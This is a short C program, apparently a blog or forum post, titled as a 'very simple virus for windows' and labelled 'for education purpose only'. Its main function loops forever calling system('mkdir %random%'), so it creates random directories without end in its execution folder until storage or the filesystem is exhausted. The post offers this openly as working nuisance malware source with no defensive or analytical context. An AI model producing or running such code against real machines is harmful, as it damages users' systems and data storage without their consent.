Very simple virus for windows in c

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 //simple virus for windows. for education purpose only  
 //this will create infinite number of directories  
 //in your execution directory  
 #include<stdio.h>  
 #include<stdlib.h>  
 #include<dos.h>  
 #include <windows.h>  
   
 int main(){  
    for(;;){  
       system("mkdir %random%");  
    }  
    return 0;  
 }